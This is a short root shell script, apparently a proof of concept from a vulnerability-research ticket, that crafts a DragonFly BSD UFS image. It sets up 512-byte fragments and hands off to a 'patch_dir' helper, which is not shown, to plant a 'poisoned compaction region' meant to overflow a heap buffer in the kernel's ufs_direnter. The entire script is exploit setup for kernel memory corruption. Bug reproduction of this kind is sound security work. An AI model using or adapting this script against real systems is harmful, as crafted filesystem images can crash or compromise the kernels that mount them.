DF-3106 / craft_image.sh
#!/bin/sh # DF-3106 craft_image.sh — build a UFS/FFS image with a poisoned compaction # region in a directory's single 512-byte fragment. # # Must run as root on the DragonFly guest (vnconfig/newfs/mount). # Usage: ./craft_image.sh <A|B> set -e cd /root/df3106 V="${1:-A}" IMG=df3106_$V.img MNT=/mnt/df3106 rm -f "$IMG" dd if=/dev/zero of="$IMG" bs=1m count=8 2>&1 | tail -1 VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1) [ -n "$VN" ] || { echo "vnconfig failed"; exit 2; } DEV="/dev/$VN" echo "vn device: $VN" # 4KB block / 512B frag so the directory's single block is a 512-byte # fragment => the bp in ufs_direnter is a 512-byte heap buffer. echo "=== newfs -b 4096 -f 512 ===" newfs -b 4096 -f 512 "$DEV" 2>&1 | tail -4 mkdir -p "$MNT" mount -t ufs "$DEV" "$MNT" mkdir "$MNT/d" chmod 777 "$MNT" "$MNT/d" D_INO=$(stat -f '%i' "$MNT/d") echo "dir inode: $D_INO" umount "$MNT" vnconfig -u "$DEV" 2>/dev/null || true echo "=== patching dirblock (variant $V) ===" ./patch_dir "$IMG" "$D_INO" "$V" ls -l "$IMG" |